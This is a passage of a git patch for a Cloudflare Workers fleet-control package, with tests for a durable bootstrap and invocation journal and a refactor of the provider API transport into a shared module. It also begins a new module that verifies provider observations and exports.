? Response.json({}, { status: 503 }) + : undefined, + ); + await expect(f.run()).rejects.toMatchObject({ + code: 'provider-unavailable', + }); + expect(f.journal.snapshot().bootstrap).toMatchObject({ + upload: { scriptName: f.names.referenceWorker }, + active: null, + pending: null, + }); + await f.reopen(); + f.setHook(undefined); + await f.run(); + expect(probes.generate).toHaveBeenCalledTimes(3); + expect( + f.requests.filter((request) => request.method === 'PUT'), + ).toHaveLength(1); + }); + + it.each([ + 'tag', + 'traffic', + 'deployment', + 'version', + 'cpu', + 'subrequests', + 'bindings', + 'ingress', + 'control-binding', + ])('refuses %s mismatch after confirmed upload', async (kind) => { + const f = await fixture(); + f.setHook((_request, url) => { + if (kind === 'tag' && url.pathname === `${f.root}/workers/scripts`) + return json([{ id: f.names.referenceWorker, tag: 'replacement' }]); + if (kind === 'traffic' && url.pathname.endsWith('/deployments')) + return json({ + deployments: [ + { + ...f.deployment(), + versions: [{ version_id: VERSION_ID, percentage: 50 }], + }, + ], + }); + if ( + kind === 'deployment' && + url.pathname.endsWith(`/deployments/${DEPLOYMENT_ID}`) + ) + return json({ ...f.deployment(), id: 'replacement' }); + if ( + url.pathname.endsWith(`/versions/${VERSION_ID}`) && + ['version', 'cpu', 'bindings'].includes(kind) + ) + return json({ + id: kind === 'version' ? 'replacement' : VERSION_ID, + resources: { + script_runtime: { + ...f.runtime(), + ...(kind === 'cpu' ? { limits: {} } : {}), + }, + bindings: kind === 'bindings' ? [] : f.bindings(), + }, + }); + if (kind === 'subrequests' && url.pathname.endsWith('/settings')) + return json({ + ...f.runtime(), + limits: { cpu_ms: f.prepared.config.referenceWorker.cpuLimitMs }, + bindings: f.bindings(), + }); + if ( + kind === 'ingress' && + url.pathname.endsWith('/subdomain') && + _request.method === 'GET' && + url.pathname.includes('/scripts/') + ) + return json({ enabled: true, previews_enabled: true }); + if (kind === 'control-binding' && url.hostname.endsWith('.workers.dev')) + return f.controlResponse({ + binding: { ...f.runBinding(), accountId: 'foreign' }, + }); + }); + await expect(f.run()).rejects.toMatchObject({ + code: 'observation-mismatch', + }); + expect(f.journal.snapshot().bootstrap?.upload).not.toBeNull(); + expect(f.journal.snapshot().bootstrap?.controlReadOrdinal).toBeNull(); + if (kind === 'control-binding') + expect(f.journal.snapshot().lastInvocation?.state).toBe('settled'); + }); + + it.each([ + 'd1', + 'r2', + 'zone', + 'subdomain', + 'active', + ])('refuses a changed confirmed %s identity on resume', async (kind) => { + const f = await fixture(); + await f.run(); + await f.reopen(); + f.setHook((_request, url) => { + if (kind === 'd1' && url.pathname.endsWith(`/d1/database/${FLEET_ID}`)) + return json({ uuid: 'foreign', name: f.names.fleetDatabase }); + if ( + kind === 'r2' && + url.pathname.endsWith(`/r2/buckets/${f.names.exportBucket}`) + ) + return json({ + name: f.names.exportBucket, + creation_date: '2026-09-11T00:00:00Z', + }); + if (kind === 'zone' && url.pathname === '/client/v4/zones/zone') + return json({ + id: 'foreign', + name: 'example.test', + account: { id: ACCOUNT }, + }); + if ( + kind === 'subdomain' && + url.pathname === `${f.root}/workers/subdomain` + ) + return json({ subdomain: 'replacement' }); + if (kind === 'active' && url.pathname.endsWith('/deployments')) + return json({ + deployments: [{ ...f.deployment(), id: 'replacement' }], + }); + }); + const before = f.requests.length; + await expect(f.run()).rejects.toHaveProperty('code'); + expect( + f.requests.slice(before).every((request) => request.method === 'GET'), + ).toBe(true); + expect(probes.generate).toHaveBeenCalledTimes(3); + }); + + it('spends the committed control-read budget and preserves known refusal settlement', async () => { + const f = await fixture({ limit: 1 }); + f.setHook((_request, url) => + url.hostname.endsWith('.workers.dev') + ? f.controlResponse(undefined, 503) + : undefined, + ); + await expect(f.run()).rejects.toMatchObject({ code: 'reference-refused' }); + expect(f.journal.snapshot().lastInvocation?.state).toBe('settled'); + await f.reopen(); + f.setHook(undefined); + await expect(f.run()).rejects.toMatchObject({ + code: 'invocation-budget-exhausted', + }); + expect( + f.requests.filter((request) => + new URL(request.url).hostname.endsWith('.workers.dev'), + ), + ).toHaveLength(1); + }); +}); diff --git a/packages/fleet-control/test/direct-credentialed-run-state.test.ts b/packages/fleet-control/test/direct-credentialed-run-state.test.ts index b901c603..039d74b5 100644 --- a/packages/fleet-control/test/direct-credentialed-run-state.test.ts +++ b/packages/fleet-control/test/direct-credentialed-run-state.test.ts @@ -22,6 +22,8 @@ import { join } from 'node:path'; import { afterEach, describe, expect, it, vi } from 'vitest'; import { preflightDirectConformance } from '../scripts/direct-credentialed-conformance-preflight.mjs'; import { + type DirectBootstrapContext, + type DirectBootstrapMutationReceipt, type DirectRunJournal, openDirectRunState, } from '../scripts/direct-credentialed-run-state.mjs'; @@ -122,6 +124,371 @@ afterEach(async () => { const describeLinux = process.platform === 'linux' ? describe.sequential : describe.skip; +function bootstrapContext( + f: Awaited>, +): DirectBootstrapContext { + return { + names: f.prepared.names, + zoneId: 'zone', + zoneName: 'example.test', + accountWorkersDevSubdomain: 'attested-account', + dispatch: { kind: 'empty', count: 0 }, + }; +} + +function receipts(f: Awaited>) { + return [ + { + kind: 'create-fleet-d1', + receipt: { uuid: 'fleet-uuid', name: f.prepared.names.fleetDatabase }, + }, + { + kind: 'create-quota-d1', + receipt: { uuid: 'quota-uuid', name: f.prepared.names.quotaDatabase }, + }, + { + kind: 'create-export-r2', + receipt: { + name: f.prepared.names.exportBucket, + jurisdiction: 'default', + creationDate: '2026-09-10T00:00:00.000Z', + }, + }, + { + kind: 'upload-reference', + receipt: { + scriptName: f.prepared.names.referenceWorker, + tag: null, + etag: null, + }, + }, + { + kind: 'enable-reference-ingress', + receipt: { enabled: true, previewsEnabled: false }, + }, + ] as const satisfies readonly DirectBootstrapMutationReceipt[]; +} + +async function confirmedBootstrap( + f: Awaited>, + journal: DirectRunJournal, +) { + await journal.bindBootstrapContext(bootstrapContext(f)); + for (const value of receipts(f)) { + if (value.kind === 'enable-reference-ingress') + await journal.recordBootstrapObservation({ + kind: 'active', + deploymentId: 'deployment', + versionId: 'version', + }); + await journal.beginBootstrapMutation(value.kind); + await journal.confirmBootstrapMutation(value); + } +} + +describeLinux('durable bootstrap state', () => { + it('enforces mutation order, exact receipt association and exclusive invocation/provider pending state', async () => { + const f = await fixture(); + const journal = await opened({ ...f.input, mode: 'run' }); + await expect( + journal.beginBootstrapMutation('create-fleet-d1'), + ).rejects.toMatchObject({ code: 'invalid-state' }); + await journal.bindBootstrapContext(bootstrapContext(f)); + await expect( + journal.beginBootstrapMutation('create-quota-d1'), + ).rejects.toMatchObject({ code: 'invalid-state' }); + await expect( + journal.recordBootstrapObservation({ + kind: 'active', + deploymentId: 'deployment', + versionId: 'version', + }), + ).rejects.toMatchObject({ code: 'invalid-state' }); + const reservation = await journal.reserveInvocation(f.request()); + await expect( + journal.beginBootstrapMutation('create-fleet-d1'), + ).rejects.toMatchObject({ code: 'outcome-unknown' }); + await journal.settleInvocation(reservation); + await journal.beginBootstrapMutation('create-fleet-d1'); + await expect(journal.reserveInvocation(f.request())).rejects.toMatchObject({ + code: 'outcome-unknown', + }); + await expect( + journal.beginBootstrapMutation('create-quota-d1'), + ).rejects.toMatchObject({ code: 'outcome-unknown' }); + await expect( + journal.confirmBootstrapMutation(receipts(f)[1]), + ).rejects.toMatchObject({ code: 'invalid-state' }); + await expect( + journal.confirmBootstrapMutation({ + kind: 'create-fleet-d1', + receipt: null, + } as unknown as DirectBootstrapMutationReceipt), + ).rejects.toMatchObject({ code: 'invalid-state' }); + await expect( + journal.confirmBootstrapMutation({ + kind: 'create-fleet-d1', + receipt: { uuid: 'fleet-uuid', name: 'foreign' }, + }), + ).rejects.toMatchObject({ code: 'invalid-state' }); + await journal.confirmBootstrapMutation(receipts(f)[0]); + await expect( + journal.beginBootstrapMutation('create-fleet-d1'), + ).rejects.toMatchObject({ code: 'invalid-state' }); + await expect( + journal.confirmBootstrapMutation(receipts(f)[0]), + ).rejects.toMatchObject({ code: 'invalid-state' }); + await journal.beginBootstrapMutation('create-quota-d1'); + await expect( + journal.confirmBootstrapMutation({ + kind: 'create-quota-d1', + receipt: { uuid: 'fleet-uuid', name: f.prepared.names.quotaDatabase }, + }), + ).rejects.toMatchObject({ code: 'invalid-state' }); + expect(journal.snapshot().bootstrap).toMatchObject({ + pending: 'create-quota-d1', + fleet: { uuid: 'fleet-uuid' }, + quota: null, + }); + }); + + it('freezes closed context/receipts and preserves historical control-read ordinals across later invocations and resume', async () => { + const f = await fixture(4); + const journal = await opened({ ...f.input, mode: 'run' }); + await confirmedBootstrap(f, journal); + const first = await journal.reserveInvocation(f.request()); + await expect( + journal.recordBootstrapObservation({ + kind: 'control-read', + ordinal: first.ordinal, + }), + ).rejects.toMatchObject({ code: 'outcome-unknown' }); + await journal.settleInvocation(first); + await journal.recordBootstrapObservation({ + kind: 'control-read', + ordinal: first.ordinal, + }); + const second = await journal.reserveInvocation( + f.request({ kind: 'tenant-probe', role: 'a', operation: 'health' }), + ); + await journal.settleInvocation(second); + await expect( + journal.recordBootstrapObservation({ + kind: 'control-read', + ordinal: second.ordinal, + }), + ).rejects.toMatchObject({ code: 'invalid-state' }); + await expect( + journal.recordBootstrapObservation({ + kind: 'active', + deploymentId: 'replacement', + versionId: 'version', + }), + ).rejects.toMatchObject({ code: 'invalid-state' }); + await journal.bindBootstrapContext({ + ...bootstrapContext(f), + dispatch: { kind: 'enumerated', count: 9 }, + }); + const frozen = (value: unknown) => { + if (!value || typeof value !== 'object') return; + expect(Object.isFrozen(value)).toBe(true); + Object.values(value).forEach(frozen); + }; + frozen(journal.snapshot()); + await closed(journal); + const resumed = await opened({ ...f.input, mode: 'resume' }); + expect(resumed.snapshot()).toMatchObject({ + invocationCount: 2, + bootstrap: { + controlReadOrdinal: 1, + context: { dispatch: { kind: 'empty', count: 0 } }, + }, + }); + const third = await resumed.reserveInvocation(f.request()); + await resumed.settleInvocation(third); + await resumed.recordBootstrapObservation({ + kind: 'control-read', + ordinal: 3, + }); + expect(resumed.snapshot().bootstrap?.controlReadOrdinal).toBe(3); + expect( + (await stat(join(resumed.directory, 'journal.json'))).size, + ).toBeLessThanOrEqual(16 * 1024); + }); + + it('normalizes v1 without dropping settled history or resetting the budget', async () => { + const f = await fixture(2); + const journal = await opened({ ...f.input, mode: 'run' }); + const first = await journal.reserveInvocation(f.request()); + await journal.settleInvocation(first); + await closed(journal); + const path = join(journal.directory, 'journal.json'); + const original = JSON.parse(await readFile(path, 'utf8')); + delete original.bootstrap; + original.version = 1; + await writeFile(path, JSON.stringify(original)); + const resumed = await opened({ ...f.input, mode: 'resume' }); + expect(resumed.snapshot()).toMatchObject({ + version: 2, + bootstrap: null, + invocationCount: 1, + lastInvocation: { state: 'settled', ordinal: 1 }, + }); + await expect( + resumed.bindBootstrapContext(bootstrapContext(f)), + ).rejects.toMatchObject({ code: 'invalid-state' }); + const second = await resumed.reserveInvocation(f.request()); + await resumed.settleInvocation(second); + expect(JSON.parse(await readFile(path, 'utf8')).version).toBe(2); + await expect(resumed.reserveInvocation(f.request())).rejects.toMatchObject({ + code: 'invocation-budget-exhausted', + }); + }); + + it.each([ + 'file-1', + 'rename-1', + 'directory-1', + 'file-2', + 'rename-2', + 'directory-2', + ])('retains the receipt barrier disposition and poisons the handle after %s failure', async (failure) => { + const f = await fixture(); + const journal = await opened({ ...f.input, mode: 'run' }); + await journal.bindBootstrapContext(bootstrapContext(f)); + await journal.beginBootstrapMutation('create-fleet-d1'); + const path = join(journal.directory, 'journal.json'); + const directory = await stat(journal.directory); + const probe = await open(path, 'r'); + const prototype = Object.getPrototypeOf(probe) as typeof probe; + const originalSync = prototype.sync; + const actualFs = + await vi.importActual( + 'node:fs/promises', + ); + let occurrences = 0; + const [point, barrier] = failure.split('-'); + const check = () => { + if (++occurrences === Number(barrier)) + throw new Error('receipt-sync-secret-sentinel'); + }; + const sync = vi.spyOn(prototype, 'sync').mockImplementation(async function ( + this: typeof probe, + ) { + const current = await this.stat(); + if ( + (point === 'file' && current.isFile()) || + (point === 'directory' && + current.isDirectory() && + current.ino === directory.ino && + current.dev === directory.dev) + ) + check(); + await originalSync.call(this); + }); + vi.mocked(rename).mockImplementation(async (...args) => { + if (point === 'rename') check(); + await actualFs.rename(...args); + }); + try { + const error = await journal + .confirmBootstrapMutation(receipts(f)[0]) + .catch((error: unknown) => error); + expect(error).toMatchObject({ code: 'invalid-state' }); + expect(String(error)).not.toContain('receipt-sync-secret-sentinel'); + await expect( + journal.reserveInvocation(f.request()), + ).rejects.toMatchObject({ code: 'invalid-state' }); + const disk = JSON.parse(await readFile(path, 'utf8')); + expect(disk.bootstrap.pending).toBe( + failure === 'directory-2' ? null : 'create-fleet-d1', + ); + expect(disk.bootstrap.fleet).toEqual( + ['file-1', 'rename-1'].includes(failure) + ? null + : receipts(f)[0].receipt, + ); + expect(await readdir(journal.directory)).toEqual(['journal.json']); + } finally { + sync.mockRestore(); + vi.mocked(rename).mockImplementation(actualFs.rename); + await probe.close(); + } + await closed(journal); + if (failure === 'directory-2') { + const resumed = await opened({ ...f.input, mode: 'resume' }); + expect(resumed.snapshot().bootstrap?.fleet).toEqual( + receipts(f)[0].receipt, + ); + } else + await expect( + openDirectRunState({ ...f.input, mode: 'resume' }), + ).rejects.toMatchObject({ code: 'outcome-unknown' }); + }); + + it('rejects malformed context, extra receipt fields, missing prerequisites and invalid historical ordinals on resume', async () => { + const f = await fixture(); + const journal = await opened({ ...f.input, mode: 'run' }); + await confirmedBootstrap(f, journal); + const reservation = await journal.reserveInvocation(f.request()); + await journal.settleInvocation(reservation); + await journal.recordBootstrapObservation({ + kind: 'control-read', + ordinal: 1, + }); + await closed(journal); + const path = join(journal.directory, 'journal.json'); + const original = JSON.parse(await readFile(path, 'utf8')); + for (const mutate of [ + (value: typeof original) => { + value.bootstrap.context.token = CLAIM; + }, + (value: typeof original) => { + value.bootstrap.context.names.roles.a.scriptName = 'foreign'; + }, + (value: typeof original) => { + value.bootstrap.context.zoneName = 'notexample.test'; + }, + (value: typeof original) => { + value.bootstrap.context.dispatch.count = 1; + }, + (value: typeof original) => { + value.bootstrap.fleet.secret = CLAIM; + }, + (value: typeof original) => { + value.bootstrap.quota.uuid = value.bootstrap.fleet.uuid; + }, + (value: typeof original) => { + value.bootstrap.exports.creationDate = '2026-09-10'; + }, + (value: typeof original) => { + value.bootstrap.exports.jurisdiction = 'eu'; + }, + (value: typeof original) => { + value.bootstrap.upload.tag = 'x'.repeat(129); + }, + (value: typeof original) => { + value.bootstrap.active = null; + }, + (value: typeof original) => { + value.bootstrap.controlReadOrdinal = 2; + }, + (value: typeof original) => { + value.bootstrap.pending = 'create-fleet-d1'; + }, + ]) { + const corrupted = structuredClone(original); + mutate(corrupted); + await writeFile(path, JSON.stringify(corrupted)); + await expect( + openDirectRunState({ ...f.input, mode: 'resume' }), + ).rejects.toMatchObject({ code: 'invalid-state' }); + } + await writeFile(path, JSON.stringify(original)); + await closed(await opened({ ...f.input, mode: 'resume' })); + }); +}); + describeLinux('durable direct invocation state', () => { it('persists the reservation before return and resumes the original budget without retaining claims', async () => { const f = await fixture(2); From c52edf44bee0f3d19be301a60e2a2f1a3961c47b Mon Sep 17 00:00:00 2001 From: gcharang <21151592+gcharang@users.noreply.github.com> Date: Thu, 10 Sep 2026 22:20:58 +0400 Subject: [PATCH 131/169] feat(fleet-control): verify direct provider observations and exports --- .../scripts/direct-credentialed-bootstrap.mjs | 273 +---- .../direct-credentialed-observations.d.mts | 108 ++ .../direct-credentialed-observations.mjs | 680 +++++++++++ .../scripts/direct-credentialed-provider.mjs | 355 ++++++ .../direct-credentialed-observations.test.ts | 1040 +++++++++++++++++ .../test/fixtures/direct-observations.ts | 424 +++++++ 6 files changed, 2622 insertions(+), 258 deletions(-) create mode 100644 packages/fleet-control/scripts/direct-credentialed-observations.d.mts create mode 100644 packages/fleet-control/scripts/direct-credentialed-observations.mjs create mode 100644 packages/fleet-control/scripts/direct-credentialed-provider.mjs create mode 100644 packages/fleet-control/test/direct-credentialed-observations.test.ts create mode 100644 packages/fleet-control/test/fixtures/direct-observations.ts diff --git a/packages/fleet-control/scripts/direct-credentialed-bootstrap.mjs b/packages/fleet-control/scripts/direct-credentialed-bootstrap.mjs index 244775c9..07010930 100644 --- a/packages/fleet-control/scripts/direct-credentialed-bootstrap.mjs +++ b/packages/fleet-control/scripts/direct-credentialed-bootstrap.mjs @@ -1,13 +1,14 @@ // SPDX-License-Identifier: Apache-2.0 import { createHash } from 'node:crypto'; -import { validateHeaderValue } from 'node:http'; import { isDeepStrictEqual } from 'node:util'; -const API_BASE = 'https://api.cloudflare.com/client/v4'; -const MAX_ATTEMPTS = 512; -const MAX_DURATION_MS = 300_000; -const MAX_JSON_BYTES = 8 * 1024 * 1024; +import { + validateProviderAuth as auth, + DirectProviderError, + openDirectProviderSession, +} from './direct-credentialed-provider.mjs'; + const ERROR_CODES = new Set([ 'invalid-input', 'provider-unavailable', @@ -56,15 +57,6 @@ function equal(value, expected) { if (!isDeepStrictEqual(value, expected)) refuse(); } -function auth(value) { - if (typeof value !== 'string' || !value || value !== value.trim()) - refuse('invalid-input'); - const header = `Bearer ${value}`; - validateHeaderValue('Authorization', header); - if (new Headers({ Authorization: header }).get('authorization') !== header) - refuse('invalid-input'); -} - function cancel(response) { try { void response?.body?.cancel().catch(() => {}); @@ -240,219 +232,6 @@ async function checkedInput(input) { } } -function providerTransport(fetchRequest, timeoutMs) { - const expiresAt = performance.now() + MAX_DURATION_MS; - const active = new Set(); - let attempts = 0; - let failure; - const assertBudget = () => { - if (performance.now() >= expiresAt || attempts >= MAX_ATTEMPTS) { - failure = 'budget-exhausted'; - refuse(failure); - } - }; - return { - assertBudget, - failure: () => failure, - close() { - for (const finish of active) finish(); - }, - async fetch(input, init) { - assertBudget(); - const url = new URL( - typeof input === 'string' || input instanceof URL ? input : input.url, - ); - if ( - url.origin !== 'https://api.cloudflare.com' || - !url.pathname.startsWith('/client/v4/') || - url.username || - url.password || - url.hash - ) - refuse('provider-unavailable'); - attempts += 1; - const controller = new AbortController(); - const signal = AbortSignal.any([ - controller.signal, - ...(init?.signal ? [init.signal] : []), - ]); - const deadline = Math.min(timeoutMs, expiresAt - performance.now()); - let response; - let bounded; - let abort; - let timer; - const finish = () => { - clearTimeout(timer); - signal.removeEventListener('abort', abort); - controller.abort(); - cancel(bounded ?? response); - active.delete(finish); - }; - active.add(finish); - const aborted = new Promise((_, reject) => { - abort = () => reject(new DirectBootstrapError('provider-unavailable')); - signal.addEventListener('abort', abort, { once: true }); - }); - timer = setTimeout(() => controller.abort(), Math.max(1, deadline)); - try { - signal.throwIfAborted(); - const exchange = Promise.resolve( - fetchRequest(input, { ...init, signal, redirect: 'manual' }), - ).then((value) => { - if (signal.aborted) { - cancel(value); - signal.throwIfAborted(); - } - return value; - }); - response = await Promise.race([exchange, aborted]); - if ( - response.redirected || - (response.status >= 300 && response.status < 400) - ) - refuse('provider-unavailable'); - let bytes = 0; - const body = response.body?.pipeThrough( - new TransformStream({ - transform(chunk, output) { - bytes += chunk.byteLength; - if (bytes > MAX_JSON_BYTES) refuse('provider-unavailable'); - output.enqueue(chunk); - }, - }), - { signal }, - ); - bounded = new Response(body, { - status: response.status, - statusText: response.statusText, - headers: response.headers, - }); - return new Proxy(bounded, { - get(target, property) { - const value = Reflect.get(target, property, target); - if ( - ['json', 'text', 'arrayBuffer', 'blob', 'formData'].includes( - property, - ) - ) - return async (...args) => { - try { - return await Promise.race([ - value.apply(target, args), - aborted, - ]); - } finally { - finish(); - } - }; - return typeof value === 'function' ? value.bind(target) : value; - }, - }); - } catch (error) { - finish(); - throw error; - } - }, - }; -} - -function validateEnvelope(value) { - object(value); - if ( - value.success !== true || - (value.errors !== undefined && - (!Array.isArray(value.errors) || value.errors.length !== 0)) - ) - refuse('provider-unavailable'); -} - -function proofFetch(transport, shape, bound) { - return async (input, init) => { - const response = await transport.fetch(input, init); - if (!response.ok || shape === 'status') return response; - const contentType = response.headers.get('content-type') ?? ''; - if ( - !/^application\/(?:json|[a-z0-9.+-]+\+json)(?:\s*;.*)?$/iu.test( - contentType, - ) || - (shape !== 'object' && response.status !== 200) - ) { - cancel(response); - refuse('provider-unavailable'); - } - // SDK parser selection must reach the validated JSON method. - response.headers.set( - 'content-type', - contentType.replace(/^[^;]+/u, (mediaType) => mediaType.toLowerCase()), - ); - const parse = response.json.bind(response); - const json = async () => { - const value = await parse(); - validateEnvelope(value); - if (shape === 'object') object(value.result); - else { - const rows = value.result; - if (!Array.isArray(rows) || rows.length > bound) - refuse('provider-unavailable'); - rows.forEach(object); - const info = value.result_info; - if (info !== undefined) object(info); - const { - cursor, - total_pages: totalPages, - total_count: totalCount, - per_page: perPage, - page, - count, - } = info ?? {}; - const url = new URL( - typeof input === 'string' || input instanceof URL ? input : input.url, - ); - const requestedPage = Number(url.searchParams.get('page') ?? '1'); - if ( - (cursor !== undefined && - cursor !== null && - typeof cursor !== 'string') || - [totalPages, totalCount, perPage, page, count].some( - (number) => - number !== undefined && - (!Number.isSafeInteger(number) || number < 0), - ) || - (page !== undefined && page !== requestedPage) || - (count !== undefined && count !== rows.length) || - (perPage !== undefined && rows.length > perPage) || - (totalCount !== undefined && rows.length > totalCount) || - (totalPages === 0 && rows.length > 0) || - (typeof cursor === 'string' && cursor.length > 0) - ) - refuse('provider-unavailable'); - if (shape === 'single') { - if ( - (totalPages !== undefined && totalPages > 1) || - (totalCount !== undefined && totalCount !== rows.length) - ) - refuse('provider-unavailable'); - } else if ( - rows.length === 0 && - ((totalPages !== undefined && totalPages > requestedPage) || - (totalCount > 0 && - (requestedPage === 1 || - (perPage > 0 && totalCount / perPage > requestedPage - 1)))) - ) - refuse('provider-unavailable'); - } - return value; - }; - return new Proxy(response, { - get(target, property) { - if (property === 'json') return json; - const value = Reflect.get(target, property, target); - return typeof value === 'function' ? value.bind(target) : value; - }, - }); - }; -} - async function inventory(pages, identity, bound) { const rows = []; const seen = new Set(); @@ -633,38 +412,15 @@ async function assertAbsent(request, APIError) { export async function bootstrapDirectConformance(input) { const { prepared, journal, accountId, apiToken, invokeSecret, fetchRequest } = await checkedInput(input); - delete process.env.CLOUDFLARE_CUSTOM_HEADERS; - delete process.env.CLOUDFLARE_LOG; - delete process.env.CLOUDFLARE_BASE_URL; - const transport = providerTransport( - fetchRequest, - prepared.config.referenceWorker.requestTimeoutMs, - ); + let transport; try { - const { default: Cloudflare, APIError } = await import('cloudflare'); - const { CLOUDFLARE_INVENTORY_BOUND: bound } = await import( - '../src/cloudflare-client-config.ts' - ); - const sdk = new Cloudflare({ - baseURL: API_BASE, + const session = await openDirectProviderSession({ apiToken, - apiKey: null, - apiEmail: null, - userServiceKey: null, - logLevel: 'off', - timeout: prepared.config.referenceWorker.requestTimeoutMs, - maxRetries: 0, - fetch: proofFetch(transport, 'object', bound), - }); - const numbered = sdk.withOptions({ - fetch: proofFetch(transport, 'numbered', bound), - }); - const single = sdk.withOptions({ - fetch: proofFetch(transport, 'single', bound), - }); - const status = sdk.withOptions({ - fetch: proofFetch(transport, 'status', bound), + fetchRequest, + timeoutMs: prepared.config.referenceWorker.requestTimeoutMs, }); + transport = session.transport; + const { sdk, numbered, single, status, APIError, bound } = session; const selectors = { account_id: accountId }; const names = prepared.names; if ((await sdk.accounts.get(selectors)).id !== accountId) refuse(); @@ -1043,11 +799,12 @@ export async function bootstrapDirectConformance(input) { return client; } catch (error) { if (error instanceof DirectBootstrapError) throw error; - if (transport.failure()) refuse(transport.failure()); + if (error instanceof DirectProviderError) refuse(error.code); + if (transport?.failure()) refuse(transport.failure()); if (error?.name === 'DirectInvocationError' && ERROR_CODES.has(error.code)) refuse(error.code); refuse('provider-unavailable'); } finally { - transport.close(); + transport?.close(); } } diff --git a/packages/fleet-control/scripts/direct-credentialed-observations.d.mts b/packages/fleet-control/scripts/direct-credentialed-observations.d.mts new file mode 100644 index 00000000..d52407ad --- /dev/null +++ b/packages/fleet-control/scripts/direct-credentialed-observations.d.mts @@ -0,0 +1,108 @@ +// SPDX-License-Identifier: Apache-2.0 + +import type { PreparedDirectConformance } from './direct-credentialed-conformance-preflight.mjs'; +import type { DirectRunJournal } from './direct-credentialed-run-state.mjs'; +import type { DirectFixtureRole } from './direct-credentialed-spec.js'; +import type { DirectDecommissionExportMetadata } from './direct-reference-lifecycle.js'; + +export type DirectObservationErrorCode = + | 'invalid-input' + | 'outcome-unknown' + | 'observation-mismatch' + | 'provider-unavailable' + | 'budget-exhausted'; + +export class DirectObservationError extends Error { + readonly code: DirectObservationErrorCode; + constructor(code?: DirectObservationErrorCode); +} + +export interface DirectObservationContext { + readonly prepared: PreparedDirectConformance; + readonly journal: DirectRunJournal; + readonly apiToken: string; + readonly fetch?: typeof fetch; +} + +export interface DirectExpectedWorkerVersion { + readonly role: DirectFixtureRole; + readonly versionId: string; + readonly databaseId: string; + readonly specDigest: string; + readonly applicationRelease: '1' | '2'; +} + +export interface DirectWorkerVersionObservation + extends DirectExpectedWorkerVersion { + readonly accountId: string; + readonly tenantTag: string; + readonly environment: string; + readonly scriptName: string; + readonly currentDeployment: Readonly<{ + deploymentId: string; + activeVersionId: string; + versions: readonly Readonly<{ versionId: string; percentage: number }>[]; + }>; + readonly trafficPercentage: number; + readonly cpuLimitMs: number; + readonly subrequestLimit: number; + readonly schemaVersion: number; + readonly databaseId: string; + readonly namespaces: readonly Readonly<{ + binding: 'MAINTENANCE' | 'RUNNER'; + className: 'Maintenance' | 'Runner'; + namespaceId: string; + }>[]; + readonly bucket: Readonly<{ + name: string; + jurisdiction: 'default'; + creationDate: string; + }>; +} + +export interface DirectSettlementEffect { + readonly role: DirectFixtureRole; + readonly tenantTag: string; + readonly environment: string; + readonly scriptName: string; + readonly databaseId: string; + readonly versionId: string; + readonly specDigest: string; + readonly schemaVersion: number; + readonly settlementKey: string; + readonly identitySha256: string; + readonly provenanceSha256: string; +} + +export interface DirectVerifiedExport { + readonly verified: true; + readonly role: DirectFixtureRole; + readonly receipt: Readonly<{ + version: 1; + authority: string; + databaseId: string; + operationId: string; + }>; + readonly location: string; + readonly size: number; + readonly sha256: string; + readonly sourceInvocationOrdinal: number; +} + +export function observeDirectWorkerVersion( + input: DirectObservationContext & DirectExpectedWorkerVersion, +): Promise; + +export function readDirectSettlementEffects( + input: DirectObservationContext & + Readonly<{ expected: readonly DirectExpectedWorkerVersion[] }>, +): Promise; + +export function verifyDirectDecommissionExport( + input: DirectObservationContext & + Readonly<{ + role: DirectFixtureRole; + sourceInvocationOrdinal: number; + metadata: DirectDecommissionExportMetadata; + }>, +): Promise; diff --git a/packages/fleet-control/scripts/direct-credentialed-observations.mjs b/packages/fleet-control/scripts/direct-credentialed-observations.mjs new file mode 100644 index 00000000..b18d8a6e --- /dev/null +++ b/packages/fleet-control/scripts/direct-credentialed-observations.mjs @@ -0,0 +1,680 @@ +// SPDX-License-Identifier: Apache-2.0 + +import { createHash } from 'node:crypto'; +import { isDeepStrictEqual } from 'node:util'; +import { exactActiveVersionId } from '../src/active-route.ts'; +import { isPortablePathSegment } from '../src/export-file-name.ts'; +import { providerBindingsToPlainWorkerShape } from '../src/provider-binding-inventory.ts'; +import { + deriveDirectConformanceNames, + validateDirectConformanceConfig, +} from './direct-credentialed-conformance-config.mjs'; +import { + DirectProviderError, + openDirectProviderSession, + validateProviderAuth, +} from './direct-credentialed-provider.mjs'; + +const CODES = new Set([ + 'invalid-input', + 'outcome-unknown', + 'observation-mismatch', + 'provider-unavailable', + 'budget-exhausted', +]); +const SETTLEMENT_SQL = + "SELECT run_key,observation_kind,observation_key,identity_json,identity_sha256,provenance_json,provenance_sha256 FROM direct_reference_observations WHERE run_key=? AND observation_kind='settlement'"; +const READY_SQL = + 'SELECT tenant_tag,environment,backend,script_name,database_id,schema_version,artifact_version,desired_spec_digest,phase,settled_settlement_key FROM anchorage_fleet_deployments WHERE tenant_tag=? AND environment=?'; + +export class DirectObservationError extends Error { + constructor(code = 'invalid-input') { + const accepted = CODES.has(code) ? code : 'invalid-input'; + super(accepted); + this.name = 'DirectObservationError'; + this.code = accepted; + } +} + +function refuse(code = 'observation-mismatch') { + throw new DirectObservationError(code); +} +function object(value) { + if (!value || typeof value !== 'object' || Array.isArray(value)) refuse(); + return value; +} +function id(value) { + if ( + typeof value !== 'string' || + value.length > 128 || + !isPortablePathSegment(value) + ) + refuse(); + return value; +} +function hash(value) { + if (typeof value !== 'string' || !/^[a-f0-9]{64}$/u.test(value)) refuse(); + return value; +} +function role(value) { + if (!['a', 'b', 'recovery'].includes(value)) refuse(); + return value; +} +function integer(value, minimum = 0) { + if (!Number.isSafeInteger(value) || value < minimum) refuse(); + return value; +} +function equal(value, expected) { + if (!isDeepStrictEqual(value, expected)) refuse(); +} +function freeze(value) { + for (const item of Object.values(value)) + if (item && typeof item === 'object') freeze(item); + return Object.freeze(value); +} + +function context(input) { + try { + const prepared = structuredClone(input.prepared); + const config = validateDirectConformanceConfig(prepared.config); + const names = deriveDirectConformanceNames(config); + equal(prepared.config, config); + equal(prepared.names, names); + const snapshot = structuredClone(input.journal.snapshot()); + const apiToken = input.apiToken; + const fetchRequest = input.fetch ?? globalThis.fetch; + validateProviderAuth(apiToken); + if (typeof fetchRequest !== 'function') refuse(); + const binding = snapshot.binding; + id(binding.accountId); + equal(binding, { + accountId: binding.accountId, + configSha256: hash(prepared.configSha256), + referenceModuleSetSha256: hash(prepared.referenceModuleSetSha256), + resourcePrefix: config.resourcePrefix, + maxInvocations: config.referenceWorker.maxInvocations, + }); + const bootstrap = snapshot.bootstrap; + if (snapshot.lastInvocation?.state === 'pending' || bootstrap?.pending) + refuse('outcome-unknown'); + if ( + snapshot.version !== 2 || + !bootstrap || + 